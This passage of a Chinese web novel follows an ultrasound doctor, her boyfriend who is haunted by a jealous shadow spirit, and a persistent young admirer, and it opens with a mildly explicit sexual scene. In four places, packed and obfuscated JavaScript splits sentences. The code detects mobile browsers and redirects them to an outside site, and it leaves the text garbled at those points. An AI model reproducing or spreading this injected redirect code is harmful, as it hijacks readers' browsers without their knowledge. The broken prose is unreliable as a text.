曲江吟的手很稳,将殷红的果汁缓缓滴入他的锁骨窝,直到果汁填平凹陷马上要溢出来的时候才停下。 徐逸风的姿势很稳,一直保持这样的姿势并不舒服,可他不但甘之如饴,还暗暗发力,让自己的姿态更加优雅,肌肉更加块垒分明。 等她重新拧好瓶盖,徐逸风才后知后觉地问道:“这样会不会弄脏床单啊?” 曲江吟举起瓶子,用另一只手在透明的瓶身上比划了一下,“少了一丢丢而已,也就一口的量,我一下子就吸溜完了,肯定不会弄的到处都是,再说,脏了可以洗嘛。” …… 理智回笼之后,曲江吟立刻捧着他的脸,送上一个饱含歉意的吻,“对不住啊,忘了告诉你了,虽然我不属狗,但我爽到极致就会咬人。” 徐逸风回了她一个吻,神色无比温柔,“没关系,你的每一个咬痕都将是我独一无二的荣誉胸章。” 他何尝不想在江吟身上留下独属于他的印记?可是他舍不得,她的皮肤那么好,说一句吹弹可破也毫不为过,他怎么能因为一己之私留下青紫碍眼的痕迹呢? 曲江吟的心猛地一颤,随即被浪涛般奔涌而至的快乐卷走,最终停靠在名为幸福的港湾。 然而,她的快乐没有持续多久,就被徐逸风接下来的话吓得烟消云散了。 “我准备好了,咱们再来一次吧?” “呃……没……没必要吧?我呃……够了。” 见她想耍赖,徐逸风故意装作委屈巴巴的样子,瞥了一眼床头柜上的盒子,“可……咱们不是约好了要用两个吗?” 她是因为“男人第一次实战都比较快”的刻板印象才提出这个要求的,没想到徐逸风天赋异禀,表现惊人,完全不符合刻板印象。 答应他? 现在已经很晚了,她明天还要上班,再来一次,她怕她早上起不来。 拒绝他? 她不想给他留下食言而肥的印象。 怎么办? 就在她陷入两难的境地时,徐逸风的手不再安安分分地抱着她,红润的嘴唇一张一合,吐露出恶魔低吟般蛊惑人心的话语:“你的身体已经适应好了,这次不用花太多时间在前/戏上,不会耽误太久的。” 话都说到这个份儿上了,曲江吟只能认栽,再次被他拉入谷欠海,在一波接一波的浪潮中起起伏伏…… 第二天她倒是没有迟到,但因为身上散发着浓浓的疲惫感,被老搭档张青果一眼看出昨晚没有睡好。 然而她只是单纯地以为曲江吟失眠了,还给她推荐了不少助眠博主。 下午,体检科不怎么忙了,曲江吟跟没长骨头似的,瘫在椅子上闭目养神,张青果正两眼无神地啃着厚比板砖的大部头,下个月她就要考试了。 门外突然传来一阵喧哗声,张青果想去看看发生了啥,曲江吟却摆了摆手,老神在在地说:“别急,今天若娴也上班呢,估计要不了多久,她就会带着新鲜热乎的一手情报过来。” 果不其然,仅仅过了四五分钟,陈若娴便面色不虞地推门进来。 张青果噌的一下站了起来,迫不及待地问道:“什么情况?又是医/闹?” 陈若娴毫不客气地霸占了她的凳子,冷笑着说:“一个妄图把被辞退的锅甩给医院的傻屌罢了,已经被保安撵走了。” 闻言,曲江吟重新瘫回椅子上,不紧不慢地说:“不出意外的话,那人应该是因为隐瞒病情被辞退的吧?” 张青果顺着她的话茬追问了一句:“不会是传染病吧?” “他想应聘餐饮行业的工作,招聘方要健康证,于是过来体检了,结果被查出大三阳,招聘方肯定不能让他入职啊!他越想越气,就跑来医院闹事了,还污蔑检验科的结果不准确,害他丢了工作。”陈若娴一脸嫌恶,想起那人胡搅蛮缠的嘴脸,她就直犯恶心。 “神经!”张青果翻了个白眼,“还好招聘方没要他,不然让乙肝病人混入餐饮行业,倒霉可是无辜的普罗大众。” “有病不去治病,反而忙着来医院找茬闹事,真把医院当成予取予求的大冤种了?”说着,陈若娴幽幽地叹了一口气,“我算是明白了,医院就是个见证奇迹与奇葩的地方。” 曲江吟拧了拧脖子,调整出最舒服的姿势,慢悠悠地说:“不止哦,医院还是个见证人性的地方。当初我在妇产科实习的时候,目睹过不少让我深感人性经不起细究的破事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15396296|167539||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 儿。” 一听这话,张青果和陈若娴顿时露出愿闻其详的神情。 “我见过一个怀孕五个多月却一次产检也没做过,直到肚子疼得不行了才过来就诊的可怜人。” “不做产检?”张青果满脸诧异,“是不是家境不好啊?” 曲江吟摇了摇头,“从衣着打扮和精神面貌来看,她和她老公不像是一穷二白生活拮据的人。” 张青果追问道:“那她为啥不做产检啊?” 陈若娴蹙着眉,在她手臂上不轻不重地拍了一下,“你能不能别打岔?就你话多!” 张青果抿住嘴巴,抬手比了个“OK”的手势,接着变换手势,在嘴巴前面做了个拉拉链的动作。 见状,曲江吟不禁唇角微扬,不过,想起那位患者的遭遇,刚刚扬起的嘴角又飞速耷拉下来。 “我不知道她为啥不做产检,不管带教老师怎么问,她都不肯回答,似乎有什么难言之隐,只知道她是因为胎停才肚子疼的。除了胎停育,她还有别的问题,带教老师在她盆腔里边发现了另一个子宫。” 张青果忍不住惊呼道:“先天性双子宫?我只在教科书上见到过。” 陈若娴斜了她一眼,抬起手臂威胁道:“你再打岔,信不信我一把揪住你的厚嘴唇子,把你捏成鸭子嘴?” 张青果连忙捂住嘴巴,不断地给曲江吟使眼色,示意她继续往下说。 “那种情况只能引/产了,当时我就觉得她老公超级恶心,明明看着不像穷得揭不开锅的样子,却舍不得花钱给她做产检,当被告知胎儿已经死亡需要引/产时,他不仅不伤心,还一个劲儿地追问住院费和手术费能不能报销,报销比例是多少。” 张青果的眼睛随着她的叙述越瞪越圆,仿佛随时都会掉出来一样,“啊???不是!这人也太抠了吧?” 陈若娴一针见血地点评道:“他不是抠,是没人性!” “更离谱的事情还在后面,那件事让我深深地意识到自己还是太轻率了,恶心这个词根本不足以概括那个渣滓,他就是一坨臭气熏天的狗屎!!!”曲江吟越说越气,说到最后,眼中闪过一抹狠戾,俨然一副恨不得回到过去手刃渣男的模样。 28. 028 “他干啥了?”张青果简直好奇到了极点,那货究竟干了什么人神共愤的事?能把曲姐气成这样。 “做完手术不是得复查吗?陪她复查的人还是她老公,我在卫生间洗手的时候,无意间听到那个人渣在隔壁打电话,他竟然把自己破了老婆两次处的事当成炫耀的资本!还用十分猥琐的语气说他想试试另一个子宫能不能怀孕!” 曲江吟原本打算把这件事告诉那位患者,可望着依偎在男人怀里、满脸依赖之色的女人,她踌躇了半天,最终还是没能宣之于口。 浓浓的无力感和倦怠感挣脱时间和空间的束缚,再度席卷她的心田。 “我靠!”陈若娴猛地拍了一下桌子,义愤填膺地喝骂道:“这种禽兽不如的玩意儿居然能娶到老婆?” “这也太……”三观遭受剧烈冲击的张青果,仅仅说了个开头便卡壳了。 此时此刻,萦绕在陈若娴心头的情绪,除了无尽的愤怒,还有深深的无奈,“都说在医院待久了,人容易变得麻木不仁,这种比屎还脏的东西见得多了,能不麻吗?” 听了她的话,曲江吟有气无力地感慨了一句:“只能说,医院能够频频出现在恐怖小说里面,不是没有道理的。” “那个男的实在是太恶心了,害得我都没心情看书了!”张青果啪的一下把书合上,顺手塞进抽屉。 身为张青果的最佳损友,陈若娴在她面前从不掩饰自己爱挤兑人的性子,“切!说得好像你多爱看书似的,我都不稀得说你!” “我当然爱看书啦,小说也是书嘛。” “考试又不考小说,你就算看一万本小说也没用。” 她俩又开始拌嘴了,曲江吟怔怔地盯着天花板,疲惫的大脑容不下一丁点儿思考。 与此同时,徐逸风也在目不转睛地望着天花板。 他倒不是在发呆,而是在怀疑人生,因为他突然发现一个诡异的现象,一旦他盯着天花板的时间超过三秒,就会莫名有种天花板慢慢朝他压下来的感觉。 这时他有两个选择,眨眼,一切恢复原样;不眨眼,眼睁睁地看着天花板逐渐逼近。 好在这种吊诡的情况仅仅持续了两三分钟,不然他就得吩咐助理帮他安排体检了。 他很想把这事儿告诉江吟,博取她的关注,收获她的关心,享受她的关怀,进而满足他巴不得她时时刻刻念着自己的私心,不过理智告诉他,他不能影响她的工作,更不能因为一点小事害她为自己担心。 最终,私心败北,理智大胜,他收敛情绪,继续埋头工作。 然而,怪事接踵而至。 他一个右撇子,签署文件时居然差点儿用左手签了名;开会的时候,他的耳朵像是安装了不受他控制的音量键,导致他听到的声音一会儿大一会儿小的;晚上吃饭的时候,他明明想夹西兰花,他的手却莫名其妙“偏离航道”,夹中一旁的虾仁…… 回到家里,急需心灵慰藉的他想跟江吟聊会儿天,却死活找不到手机。 为了寻找手机,他跟个无头苍蝇似的,在偌大的房子里头转悠了半天,结果一无所获。 好不容易找到手机,他却彻底傻眼,怎么在外套口袋里? 不应该啊!之前他把身上的口袋掏了个遍,什么也没有啊! 他呆呆地看着手机,一个纯粹的科学造物却让他产生了不科学的感受,心里的温度如同股票一般,一跌再跌,寒意随着血液流遍全身。 对他来说,今天着实是荒诞诡谲的一天。 即便他不愿意往怪力乱神的方向去想,那些离奇邪门儿无法用科学解释的现象,还是在他的唯物主义世界观上凿开一个小小的口子,让他不禁怀疑——我该不会是中邪了吧? 不安犹如蒸腾翻涌的水汽,瞬间弥漫开来。 他环顾四周,生平第一次对一个人独处这件事心生恐惧。 为了转移自己的注意力,也为了一睹江吟的芳容、聆听她的声音,他当即点开微信,给置顶的曲江吟发送视频通话请求。 接通之后,他还没来得及开口,就听到正在敷面膜的曲江吟用气音慢悠悠地说:“Hey,欢迎来到江吟的ASMR频道,今天我要给心爱的男友做夜间护肤。” 听到“心爱”两个字,徐逸风顿时被欣喜冲昏头脑,唇角高高扬起,那些令他惴惴不安提心吊胆的怪事统统被他抛之脑后。 直愣愣的眼神搭配憨气十足的笑容,大大削弱了他沉稳内敛精明能干的气质,让他雕塑般的脸庞看起来有些呆萌。 看着笑得跟个二傻子似的男友,曲江吟轻笑一声,将手伸向固定在支架上的手机,模拟抚摸的动作,用无比轻柔的语调说:“乖~躺下,我要开始啦~” 虽然徐逸风没什么演戏的天分,但扮演观看助眠视频的观众又不难。 只见他往后一仰,瘫倒在沙发上,敛起笑容,一秒入戏。 “首先,我要给忙碌了一整天的你好好洗个脸,洗脸的时候,再顺带给你做个面部SPA~” 曲江吟抬起另一只手,两手同时伸向手机,一边模拟按摩的动作,一边发出窸窸窣窣的摩擦音。 尽管手机的收音效果一般,底噪很大,徐逸风还是沉浸在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15407043|167539||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 江吟为他打造的舒适氛围中,无法自拔。 “你皮肤真好~紧致细腻有光泽,离得这么近都看不到毛孔,护肤品广告不找你拍真是可惜了。” “你的睫毛好好看呀~又长又密,微微上翘,好像鸦羽,虽然我不知道鸦羽长什么样子,但是这个词能用来形容睫毛肯定有它的道理。” “鼻子也好看,高挺有型,轮廓完美,等我哪天发达了,一定要参照你鼻子的弧度,建造一座滑梯,天天滑着玩儿~” “你知道我最满意你哪个五官吗?当然是嘴巴啦~因为跟你接吻真的很舒服~” “瞧瞧这下颌线,比我的人生规划还要清晰。” “耳朵也要清洁到位哦~你的耳垂软软的,捏起来比我跟风买的捏捏有意思多了~” 徐逸风差点儿在曲江吟花样频出的夸赞中迷失自我,俊美无俦的脸再次被憨憨的笑容霸占。 殊不知躲在他影子里、害他疑神疑鬼的罪魁祸首已经嫉妒得面目全非了! “来都来了,我再帮你按一下脖子吧?” 徐逸风十分上道,立马解开扣子。 “咦?这些瘀痕……不会是草莓印吧?怎么还有咬痕?谁干的?一点儿也不懂得怜香惜玉。” 不等他回答,她便装作惊讶的样子,自说自话道:“啊?我干的?哦~那没事儿了~” 随后她停下按摩的动作,换成说悄悄话的姿势,将声音压得更低:“告诉你一个秘密,我的草莓种植基地已经选址完毕,你知道我选了哪儿吗?答案就是——你的脖子~” “现在,我宣布!你的脖子被我承包啦~” 徐逸风心里仿佛溜进一只喜欢贴贴蹭蹭的小猫,绵延不绝的痒意从心脏蔓延至全身。 他果断揪住衣领,将领口扯得更大,露出白嫩健硕的胸膛,目光灼灼地盯着屏幕里的曲江吟,摆明了想要诱惑她。 曲江吟慢条斯理地撕下面膜,眯着双眼,不再轻声细语搞助眠,恢复正常声调,模仿霸总语录说道:“男人,你是在玩火!” 笑意如一阵微风,卷走他眼中的灼热,留下一池被风吹皱的春水。 “江吟,我想去找你。” 曲江吟连忙举起双手,在胸前比了个大大的“X”,“不可以哦,明天八成会很忙,我今晚必须好好睡一觉。” 徐逸风直起身子,郑重地保证道:“我不会乱来的。” “我不是担心你乱来,而是担心我自己乱来,就我那点儿少得可怜的定力,面对主动送上门来的、秀色可餐的男朋友,绝对会嗷呜一声扑上去,把你吃干抹净!” 29. 029 回想起昨晚的一幕幕,徐逸风不由得面红耳赤,虽然他巴不得被她“吃干抹净”,但他不能只顾自己快活,不顾江吟的身体。 “那你早点儿休息,别累着自己。对了,你五一休息吗?” 曲江吟想了想,掰着指头回答道:“我一号得值班儿,二号三号休息。” “二号有异宠博览会,举办地点就在广茂会展中心,你有兴趣去逛逛吗?” 曲江吟眼睛一亮,开心地点了点头。 “好,到时候咱俩一起去。三号我的高中同学订婚,我要去参加她们的订婚宴,这种宴会通常都比较无聊,不知道你愿不愿意陪我一起去。” “愿意啊,反正那天我也没什么安排,况且,”曲江吟先垂下眼睑,然后缓缓掀起眼皮,定定地望着他,撩人的目光宛如灵蛇,缠住他的目光,越绞越紧,“跟你在一起,我永远都不会觉得无聊。” 曲江吟每次打直球,都能精准命中徐逸风的心窝。 她就像月亮一样,皎洁的月光铺满他的心海,驱散黑暗,留下粼粼波光,强大的引力牵引着潮汐,打破静谧,掀起滚滚浪涛。 可惜他的嘴巴是个笨蛋,哪怕心脏差点儿被汹涌的爱意撑爆,也说不出一句像样的情话。 “我也想永远跟你在一起。” 挂断视频通话之后,徐逸风依旧沉浸在无法言说的幸福之中,直到准备去洗漱时,才猛然想起那些令他头皮发麻的怪事。 不过,他并非喜欢钻牛角尖的人,也明白那些事只会越想越害怕,便默默安慰自己——都说细思极恐,不思不就不恐了吗? 既然多想无益,不如选择回避。 回避虽然解决不了问题,但是可以卸掉心理负担啊! 还好之后没再发生什么奇怪的事情,让他得以安然入睡。 一楼客厅内,沙发底下冷不丁冒出一大片黑影,乍一看很像一滩打翻的墨水。 这滩“液体”如小溪一般,奔涌至楼梯口,随后逆流而上,快速滑过层层阶梯,抵达二楼,之后又直奔徐逸风的卧室。 进入卧室,黑影停止流动,化作无数黑色的丝线,顷刻间编织出一具宛如塑料模特剪影的人形躯体。 黑影人循着徐逸风绵长的呼吸声,一步一步来到床边。 沸腾的杀意让他不自觉将手伸向徐逸风的脖子,残存的理智又让他硬生生停了下来。 江吟那么喜欢他,杀了他,她会伤心的。 黑影人静静地伫立在床边,漆黑阴冷的手离徐逸风的脖子不足一厘米。 他想不明白,这个胆小如鼠的家伙凭啥能俘获江吟的芳心? 他略施小计就吓得这货方寸大乱,怂成这样,哪儿配得上江吟? 过了一会儿,他又把手上移,五指前端逐渐变得尖利,整只手犹如猫科动物的利爪,稍微往前一点,就能扎进徐逸风脸部的皮肤。 是因为这张脸吗? 江吟是个颜控,因为这张脸看上他也不足为奇。 如果他毁容了,江吟还会喜欢他吗? 可是……这么做,仍旧会惹她伤心。 想到这里,黑影人不得不按捺住蠢蠢欲动的恶意,利爪般的手渐渐恢复原样。 一计不成,又生一计。 既然他胆子小,要不干脆把他吓傻得了!江吟再怎么善良,也不可能跟一个傻子谈恋爱吧? 不过,这个计划尚未实施,就被黑影人否决了。 万一没把徐逸风吓傻,反而把这个怂货逼急了,跑去跟江吟同居怎么办? 那是他和江吟的婚房,绝对不能让别的男人住进去! 这时,徐逸风动了一下,原本正面朝上的脸侧了过去,脖子上暗红的齿印和草莓印刺痛了黑影人的双眼。 草!不知廉耻的小三! 黑影人周身黑烟缭绕,阴冷的气息急速扩散,卧室温度骤降,然而已经睡熟的徐逸风什么也没感觉到。 黑影人默念了好几遍“不能生气”,还不停地安慰自己,“老婆找个活蹦乱跳的情/趣用品来解决生理需求也很正常”,才勉强压下翻涌的杀意。 然后,他嗖的一下飞了出去,再次回来时,手上多出一盒创可贴。 他用了十几个创可贴,才把徐逸风脖子上那些碍眼的痕迹全部贴住。 贴完,他一边把玩盒子,一边思索如何才能赶走这个不要脸的小三。 他冥思苦想,终于想到一个可行的办法,随即在指尖凝聚出一根细如发丝的黑针,弹进徐逸风的眉心。 徐逸风梦到自己正在健身,沉甸甸的哑铃在他手里跟玩具似的,不管举多少下,他的表情始终游刃有余。 练着练着,他忽然觉得哑铃的手感不太对劲。 怎么越来越沉、越来越凉了? 越来越沉还可以用他累了来解释,越来越凉是怎么回事? 他仔细观察着手中的哑铃,赫然发现黑黝黝的哑铃片上冒出一张扭曲的人脸,吓得他差点儿把哑铃扔出去。 不过,即便他真想扔,也扔不出去,因为他的手不知为何粘在哑铃手柄上了,无论他怎么弄都弄不下来。 正当他急得焦头烂额不知所措的时候,哑铃片上的人脸突然变成一缕黑烟,直扑他的面门,瞬间把他吓醒。 他下意识搂住身边的曲江吟,把头埋在她的颈窝,深深地嗅了一口熟悉的馨香,心头的恐慌霎时荡然无存。 “怎么了?” 听着江吟含糊不清的呢喃,他却格外安心。 “做噩梦了。” 江吟侧过身子,亲了亲他的额头,一下一下地抚摸着他的后背。 “我抱着你,噩梦就不敢缠着你啦~” 窗外漆黑一片,寒风呼啸,徐逸风心里却亮如白昼,惠风和畅。 “天还没亮呢,继续睡吧,钧羽。” 钧羽??? 徐逸风那颗被幸福吹到天上的心,顿时如失事的飞机一般,直坠地面,“啪叽”一声,摔得粉碎。 上一秒天堂,下一秒地狱,莫过于此。 “我不是安钧羽!”他大喝一声,彻底从睡梦中惊醒。 鱼肚白的晨光兢兢业业地驱赶着夜的余孽,透过没有拉严实的窗帘,在地板上画了一条窄窄的光带,宣告白天已经来临。 徐逸风支起上半身,坐了起来,揉了揉太阳穴,拿过床头柜上的手机,瞅了一眼时间,快六点半了。 以前他也做过不少噩梦,却没有一次像这次的噩梦一样,即使醒了,依旧能清晰地回想起所有的细节。 这个梦实在是太不同寻常了。 接连受惊的后果就是他的大脑分外疲惫,完全不像是刚睡了七个多小时的样子。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15411722|167539||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他浑浑噩噩地走向卫生间,路过洗手台的时候,不经意间瞥了一眼镜子,却被脖子上莫名多出来的创可贴吓得后背发凉、心跳都漏了一拍。 晚上家里只有他一个人,他又没有梦游症,这到底是谁干的? 难不成他真中邪了? 他不顾疼痛,用力撕下所有创可贴,统统丢进垃圾桶。 搬家!必须搬家!今天就搬! …… 五一期间,体检科放假。 虽然医院没有安排单位体检,但是为了不让个人体检者吃闭门羹,挑几个倒霉蛋值班,其他人休息成了医院的惯例。 五一这天的值班表上有曲江吟的名字,所以她必须过来上班。 尽管节假日大家都出去玩了,来医院体检的人少之又少,曲江吟还是怨念满满。 要不是看在三倍工资的份儿上,她的怨气一定会直冲云霄,给老天扎个窟窿眼儿! 张青果和陈若娴都休了,她一个人百无聊赖地刷着手机,时不时点一下PACS,看看有没有体检的人。 上午九点多,她终于刷出一个名字。 “柳琢玉?” 不会吧?重名的人? 她又瞄了一眼性别和年龄。 “男,20。” 不会真是他吧? 还真是他!因为她听到他的声音了。 “17号诊室,17号诊室,在这儿!” 柳琢玉推门而入,一眼就看到了坐在电脑桌前的曲江吟,原本略显紧张的神色瞬间被灿如骄阳的笑容取代,黑曜石般的眼睛迸射出熠熠光辉。 “江吟!好久不见,原来你在这儿上班啊!”他大步走进房间,顺手关上房门,两只神采奕奕的眼睛无声却热烈地诉说着自己的情意,任谁看了都能立马猜出他喜欢她。 曲江吟倍感无奈,站起身来,朝他伸手,“体检表拿来。” 柳琢玉把体检表递过去,眉开眼笑地说:“没想到能在这儿碰到你,我好开心呀!” 曲江吟大致瞅了瞅体检表,“颈动脉、甲状腺、心脏、全腹……查得还挺全”,随后仰起脖子,不解地看着他,“能告诉我,你为啥要过来体检吗?” 柳琢玉抬手捂住胸口,颦眉蹙额,弱声弱气地向她卖惨:“我喜欢玩游戏,最近发现了一款冷门的游戏,连续肝了两个通宵,今天早上突然感觉心脏有点儿不舒服,就赶紧过来检查了。” 然后,他又舒展眉头,露出私下里练习了无数遍的完美笑容,把真情实感的心意拌到土到掉渣的情话里,雀跃地盛给江吟。 “不过,见到你之后,我好像没那么难受了,难怪人们常说心病还须心药医呢!” 平心而论,他的演技稀烂,谎也撒得稀烂,曲江吟没有当场发出嘲笑声已经很给他面子了。 虽然她比他矮一大截,但这并不妨碍她抬起下巴,用影评人般的姿态审视他。 “你应该不是表演系的吧?” 柳琢玉被她问得一愣一愣的,呆呆地回答道:“不是,我是体育系的,你为什么要问这个?” “因为表演系的学生演技不该这么差,心脏不舒服,不挂门诊,反而来体检科做检查?” 曲江吟抖了抖体检表,板着脸质问道:“你当我傻呢?说吧,你是怎么查到我在这儿工作并且五一要值班的?” 30. 030 柳琢玉身上那股旺盛过头的精神气顿时萎靡下来,他像个挨训的小学生一样,垂着脑袋,不敢直视江吟的眼睛,只能小心翼翼地窥察着她的脸色。 “江吟,你别生气,我就是……就是太想你了,又不知道如何才能见到你,才会……出此下策。” 曲江吟可不吃这套,神色愈发冷厉,严肃地警告道:“我劝你别打着喜欢的名义搞一些阴暗的行径,底线这种东西,向来只降不升,你今天敢查我的工作单位,明天就敢查家庭住址,后天就敢趁我不在登门造访!” “不会的!就算给我一百个胆子,我也不敢!”柳琢玉的脑袋摇得跟拨浪鼓似的。 眼见她的表情丝毫没有和缓,看他的眼神也充斥着厌恶,他急得脑门儿都开始冒汗了,本就不太灵光的脑子登时被懊悔和焦躁淹没,直接把“认错”和“下跪”两个指令一并发送出去了。 眼瞅着他的膝盖即将在地心引力的作用下与地板发生碰撞,大惊失色的曲江吟赶忙扶住他,喝问道:“你干嘛???” 柳琢玉死死抓住她的胳膊,洪流般的恐慌和愧疚在他深邃的眼眸里泛滥成灾,眼尾不堪蹂/躏,绯红一片,“对不起,都是我的错,我保证以后绝对不会再犯了,你不要讨厌我好不好?” 曲江吟:…… 她不过是训了他两句,他至于这么大反应吗? 这家伙该不会从来没受过挫折吧? 她从未见过如此玻璃心的人,心里莫名冒出一个奇怪的想法——要是把所有玻璃心的人拉出来比一比谁的心更易碎,他拿不了第一,也得排前三。 而且他不止心像是玻璃做的,整个人都像是玻璃做的,不然她为啥会有种他快碎了的感觉? 看在他露出这样的表情都这么好看的份儿上,原谅他一次也不是不行。 “天塌了没?” “啊?”柳琢玉那张泫然欲泣的脸瞬间被迷茫覆盖。 “我问你,天塌了没?” 他抬头看了一眼,脸上的迷茫更浓了,犹豫了几秒才低声回复道:“没有啊,你怎么……突然问起这个了?” “原来天没塌啊,你这个样子,不知道的还以为天要塌了,你想让我帮你顶着呢!” 柳琢玉这才意识到自己的行为有多么幼稚,他忙不迭站起来,手足无措地道着歉:“不好意思,我没能控制好自己的情绪,可是我真的好害怕……” “怕什么?”曲江吟一头雾水。 “怕你讨厌我。”他卑微地俯视着她,即使身体站得笔直,灵魂依然匍匐在她脚下。 说完,他才后知后觉地意识到——她有心情开玩笑,是不是意味着她不生气了? “既然怕,那就别再搞那些小动作了,没人会喜欢一个暗戳戳调查自己的人。” 柳琢玉竖起手掌,信誓旦旦地说:“我发誓,如若再犯,就让我单身一辈子!” 说话的时候,他一直深情又专注地看着曲江吟,搞得她心累不已。 她叹了一口气,幽幽地说:“我不理解,你干嘛要追一个有男朋友的人呢?难道你没听说过天涯何处无芳草吗?” “我就单恋你这支花!”柳琢玉直勾勾地盯着她,毫不掩饰自己眼底的觊觎。 曲江吟一字一顿地强调道:“我!有!男!朋!友!了!” “没关系,”柳琢玉笑得无比纯真,说出来的话却只有真没有纯:“反正法律也没规定你只准有一个男朋友。” 曲江吟:??? 一听这话,系统立马坐不住了,果断怂恿道:“瞧瞧人家这觉悟!宿主,你就纳了他吧?以后,一三五翻徐逸风的牌子,二四六翻柳琢玉的牌子,周日休息,这才是你该过的日子嘛!” 曲江吟没有搭理系统,也懒得继续跟柳琢玉较真,只想赶紧做完检查,把他打发走。 于是她转过身子,把体检表放到桌上,用鼠标在电脑上点了几下,然后抬起手臂,指了指铺着一次性床单的检查床,用公事公办的语调说:“仰面朝上躺上去。” 看来她确实不生气了,悬在柳琢玉心头的巨石平稳落下。 他快步走到床边,一屁股坐了上去,扫了一眼脚上的鞋子,又转头看向曲江吟,笑着问道:“用不用脱鞋?” “脱了吧。”曲江吟坐到转椅上,足尖一点,将转椅挪到彩超机器前面。 柳琢玉脱掉鞋子,把腿抬到检查床上面,没有立即躺下,反而眨了眨写满期待的眼睛,扯了扯宽松的T恤,小声问道:“衣服呢?” 曲江吟斜了他一眼,没好气地说:“不用脱!待会儿让你往上撩你就撩,让你往下拉你就拉,听懂了没?” “哦……”柳琢玉有点儿失望,他本来还想着要在江吟面前三百六十度全方位无死角地展示一下自己的健身成果呢,甚至特地做了腋下管理,不料事与愿违,做彩超不需要脱掉上衣。 不过,他并不气馁,一会儿尽量撩得高一点儿不就行了? “先查哪儿?” 曲江吟拿起浅表探头,“从上往下查吧,先看颈动脉和甲状腺,再看心脏,最后看全腹,你往下挪一点儿,躺得太高,我够不着你的脖子。” “好的。”柳琢玉往下挪了一大截,挨着她缓缓躺下,检查床不够长,他个子又高,因此他的小腿伸出去老长一截。 “如果发现什么问题,你能不能直接告诉我啊?” 考虑到截至目前只来了他一个体检者,跟他多唠几句也不会影响别人,曲江吟点了点头表示答应。 她拿过耦合剂,挤到探头表面。 好奇心爆棚的柳琢玉开口问道:“这是什么?” “耦合剂,”因为猜到他可能会问它有什么作用,曲江吟顺带补充了一句:“它是用来排除空气的。” 结果柳琢玉却问了一个令她十分无语的问题:“有点儿像芦荟胶,这玩意儿能补水吗?” “不能,但是把它吃下去能长脑子,你要不要试试?”她故意把耦合剂递到他眼前。 柳琢玉脸色一囧,连忙摆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15416240|167539||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了摆手,“不用了,我有脑子。” 曲江吟但笑不语,垂下眼睑,遮住眼底的戏谑。 柳琢玉却觉得她这副模样分外勾人,痴痴地看着她,不自觉地咽了一下口水。 把耦合剂放回去之后,她握紧探头,按在柳琢玉修长的脖子上,沿着颈动脉的位置不断滑动。 他的颈动脉很正常,她没用多少时间就查完了,查甲状腺用的也是浅表探头,因此她直接把探头移到喉部,开始检查第二个部位。 他的甲状腺同样没什么异常,查完,曲江吟提起探头,用另一只手抽了几张纸巾,先擦掉探头上的耦合剂,再放到他脖子上,示意他把脖子擦干净。 柳琢玉边擦边问:“听说好多人的甲状腺都会长什么结节,我有没有长啊?” “没有,”她把浅表探头放回原位,“你长结节的概率应该很低。” “为啥?” “因为习惯压抑情绪、天天内耗的人,甲状腺更容易出问题,相反,你这种不管什么情绪都会当场发泄出来、光耗别人、不耗自己的人,从来都不招病魔待见。” 没心没肺的柳琢玉天真地以为江吟是在夸他,英俊的面容刹那间绽放出稚气满满的笑容,将懵懂好哄的大男孩儿气质展现得淋漓尽致,搞得曲江吟都不好意思继续损他了。 算了,还是继续检查吧。 她拿起心脏探头,吩咐道:“把上衣撩起来,露出胸膛……” 然而,她还没说完,柳琢玉便迫不及待地抓住衣摆,弓起腰身,将T恤唰的一下撩到锁骨下面。 真人鱼见了都得嫉妒的人鱼线、比老式面包还要方正饱满的腹肌、足以令每个老色/批魂牵梦绕的健硕胸肌,就这么猝不及防地闯入曲江吟的眼帘。 色/诱需要资本,柳琢玉不仅有,还很富余,色/诱需要技巧,柳琢玉也有,但很拙劣。 大饱眼福的曲江吟,意味深长地说了一句:“我觉得你准备的不够充分。” “啊?”疑惑挤走窃喜,独占他的脸庞。 曲江吟挑起眉毛,一本正经地胡扯道:“但凡你多看几个擦边视频,也不至于把自己堪比3D建模的身材以这种粗糙生硬、美感全无的方式呈现在我眼前。” 